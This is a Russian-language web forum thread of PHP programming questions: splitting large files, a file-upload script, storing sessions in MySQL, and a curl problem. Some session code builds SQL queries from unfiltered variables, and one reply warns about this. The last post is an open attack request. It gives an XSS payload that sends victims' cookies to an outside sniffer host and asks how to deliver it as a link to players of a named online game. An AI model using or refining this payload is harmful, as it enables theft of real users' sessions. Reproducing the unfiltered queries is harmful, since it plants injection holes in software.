Архивируешь Winrar'ом, вписав в "Разделить на тома размером (в байтах)" тот размер что тебе нужен. И харе зафлуживать тему.
блокнот не поддерживает больших файлов. в Ворде делай! Токо одного не пойму, тебе что здесь кто-то обязан. Или может денег должны. Хотят помагают хотят нет. Буть проще и люди потянутся. Сорри за оффтоп, не удержался.
На PHP файл будет долго читаться, но раз уж ты так нервничаешь. Code: <?php // { $file = 'big_file.txt'; $bytes = 50000; // } $fopen = fopen($file, 'r'); $i = 1; while(!feof($fopen)) { $total_resource = fgets($fopen, $bytes); $fopen2 = fopen($i.'_tom.txt', 'a'); fwrite($fopen2, $total_resource); fclose($fopen2); $i++; } fclose($fopen); ?>
Что то я не пойму, IE не передаёт данные из формы скрипту PHP? Ибо есть простой скриптик загрузки файлов через форму.... вот: HTML: <form method="post" enctype="multipart/form-data" action="engine.php"> <b>01</b><input name="userfile1" type="file" size="40" /> <b>02</b><input name="userfile2" type="file" size="40" /> <b>03</b><input name="userfile3" type="file" size="40" /> <input name="upload" type="submit" value="Загрузить"> </form> А вот и сам скрипт engine.php: PHP: <?php if ((is_uploaded_file($HTTP_POST_FILES['userfile1']['tmp_name']) || is_uploaded_file($HTTP_POST_FILES['userfile2']['tmp_name']) || is_uploaded_file($HTTP_POST_FILES['userfile3']['tmp_name'])) & ($HTTP_POST_FILES['userfile1']['type']=="image/jpg" || $HTTP_POST_FILES['userfile1']['type']=="image/jpeg" || $HTTP_POST_FILES['userfile2']['type']=="image/jpg" || $HTTP_POST_FILES['userfile2']['type']=="image/jpeg" || $HTTP_POST_FILES['userfile3']['type']=="image/jpg" || $HTTP_POST_FILES['userfile3']['type']=="image/jpeg")) { $nm = mt_rand(12345,999999999); $ras = '.jpg'; if (($HTTP_POST_FILES['userfile1']['type']=="image/jpg") || ($HTTP_POST_FILES['userfile1']['type']=="image/jpeg")) { $nbr="_1"; $iname = $nm.$nbr.$ras; copy ($HTTP_POST_FILES['userfile1']['tmp_name'], $iname); } if (($HTTP_POST_FILES['userfile2']['type']=="image/jpg") || ($HTTP_POST_FILES['userfile2']['type']=="image/jpeg")) { $nbr="_2"; $iname = $nm.$nbr.$ras; copy ($HTTP_POST_FILES['userfile2']['tmp_name'], $iname); } if (($HTTP_POST_FILES['userfile3']['type']=="image/jpg") || ($HTTP_POST_FILES['userfile3']['type']=="image/jpeg")) { $nbr="_3"; $iname = $nm.$nbr.$ras; copy ($HTTP_POST_FILES['userfile3']['tmp_name'], $iname); } } else { print 'Нельзя загрузить даный тип файла'; } ?> По идеи должен загружать файл, но через ИЕ этого не происходит, так и пишет - Нельзя загрузить даный тип файла.. ПОЧЕМУ??? хотя через другие браузеры - всё ок...
Драсте... у меня вопрос вот часто вижу что сессии хранятся в БД 1.Что это даёт? (Даёт управление значениями сессии?) 2.Если сессия в БД как при этом устроить автологин? (Брать значения из сессии и куков и если они сходятся записывать сессию) чтото я эти махинации с сессиями не пойму..
Сессию и запись в БД можно связать при помощи PHPSESSID. То есть session_start создаёт сессию, выделяя некоторый id, по которому можно создать запись в базе при первом заходе пользователя на сайт и внести в неё всю информацию о юзере. А в дальнейшем, при заходе по кукисам, получать эту запись из БД опять-таки при помощи PHPSESSID. А реализовать удалении сессии можно так: просто добавить в таблицу сессий в БД поле с датой последнего обращения пользователя и удалять записи, которые старше некоторого времени. Соответственно, при нескольких обращениях юзера к сайту это поле должно обновляться. То есть: 1) юзер обратился к сайту. Создалась сессия, ему в кукисы записался PHPSESSID. 2) сразу же в БД создалась запись с ключом PHPSESSID и всеми необходимыми данными сессии 3) юзер снова обратился к странице сайта. Теперь новая сессия не создаётся, а используется PHPSESSID из его кукисов. 4) теперь данные сессии мы не добавляем в БД, а делаем выборку из таблицы с сессиями, примерно так: select ... from (таблица_сессий) where sid=$PHPSESSID. Кроме того,обновляем поле времени последнего обращения юзера в таблице сессий. 5) юзер ушёл с сайта, закрыл браузер. Но при обращении других юзеров из таблицы сессий удаляются старые записи, т.е. удалится и запись этого ушедшего пользователя через время, которое мы установили. (delete from (таблица_сессий) where (поле_время_последнего_обращения)<время-время_онлайна). 6) если юзер ушёл с сайта, нажав кнопку, например, "logoff", то можно сразу удалять запись в таблице сессий с его PHPSESSID. Основные плюсы - можно модифицировать чужие сессии и отслеживать, онлайн пользователь или нет.
Тьфу а я думал чтото насчёт безопасности) я до того ка задал вопрос написал примерный скрипт а када написал не понел зачем я это сделал =))) вот скрипт... верный? PHP: <?php /** * @author * @copyright 2008 */ mysql_connect('localhost', 'root', ''); mysql_select_db('session'); function ses_open($ses_path, $ses_name) { return true; } function ses_close() { return true; } function ses_read($key) { $result = @mysql_query("SELECT `val` FROM `session` WHERE `key`='$key'"); $fetch = mysql_fetch_assoc($result); return $fetch['val']; } function ses_write($key, $val) { $result = @mysql_query("SELECT `val` FROM `session` WHERE `key`='$key'"); $fetch = @mysql_fetch_assoc($result); if ($fetch != array()) { @mysql_query("UPDATE `session` SET `name`='" . session_name() . "', `val`='$val', `time`='" . time() . "' WHERE `key`='$key'"); } else { @mysql_query("INSERT INTO `session` SET `name`='" . session_name() . "', `val`='$val',`key`='$key', `time`='" . time() . "'"); } return true; } function ses_destroy($key) { return @mysql_query("DELET FROM `session` WHERE `key`='$key'"); } function ses_gc($maxtime) { $result = mysql_query("select `time`,`key` FROM `session` where 1"); for ($fetch = array(); $row = mysql_fetch_array(); $fetch[] = $row) ; foreach ($fetch as $v) { if (time() - $v[time] >= $maxtime) { mysql_query("DELET FROM `session` WHERE `val`='$v[val]'"); } } } session_set_save_handler("ses_open", "ses_close", "ses_read", "ses_write", "ses_destroy", "ses_gc"); ?>
Вроде верно всё, нужно только параметры фильтровать А вот это: PHP: $result = @mysql_query("SELECT `val` FROM `session` WHERE `key`='$key'"); $fetch = @mysql_fetch_assoc($result); if ($fetch != array()) { @mysql_query("UPDATE `session` SET `name`='" . session_name() . "', `val`='$val', `time`='" . time() . "' WHERE `key`='$key'"); } else { @mysql_query("INSERT INTO `session` SET `name`='" . session_name() . "', `val`='$val',`key`='$key', `time`='" . time() . "'"); } return true; можно заменить таким: PHP: $tm=time(); @mysql_query("insert into session (val,key,time) values('$val','$key',$tm) ON DUPLICATE KEY UPDATE time=$tm, $val='$val'"); return true; Но только если key - UNIQUE index или PRIMARY KEY и начиная с MySQL 4.1. И ещё после запроса SELECT не надо забывать mysql_free_result.
Так это был тестовый скрипт у меня ваще для работы с БД спецальный класс написаный мной он усё фильтрует=)
вопрос по curl.. использую curl для связи с хостом идет 3 сессий, первая-авторизация, вторая- проверка печенья, третья- уже выполнение определенного действия, все сеансы идут по порядку в коде, но почему при всех вписаных 3 сеансах запрос начинает идти с последней части кода, где выполняется определенное действие и следовательно вылетает ошибка что ты не авторизован, если оставляешь первые 2 сесии а третью удаляешь, происходить все по порядку, никто не сталкивался с такой проблемой?
Xss Сразу к делу. Проблема с XSS ... Вот она: Когда я ввожу XSS ... а ввожу я его в игру travian.ru он меня перемещат на мой сниффер, но я не знаю , как дать ссылку людям(( примерно вот: Сначала ввожу: "> потом no"><script> document.location.href="http://s.netsec.ru/60880.gif?"+encodeURI(document.cookie); </script>< т.е. там speed.travian.ru/allianz.php и всё..а надо чтоб альянс переминовался по "какой нибудь" ссылке... оч прошу - помогите((( Но там пхп ...я в общем то хз ... попробуйте вот тут: speed.travian.ru < зарегистрируйтесь , постройте посольство до 3 ЛВЛа... - создайте альянс \и переминуйте его в поле "ally2" (( Если можно то ответы в 452277469 ! но сюда тоже зайду! Заранее спасибо! ===т.е. мне надо СРАЗУ ссылку сделать , чтобы она переминовала альянс и выходила на линк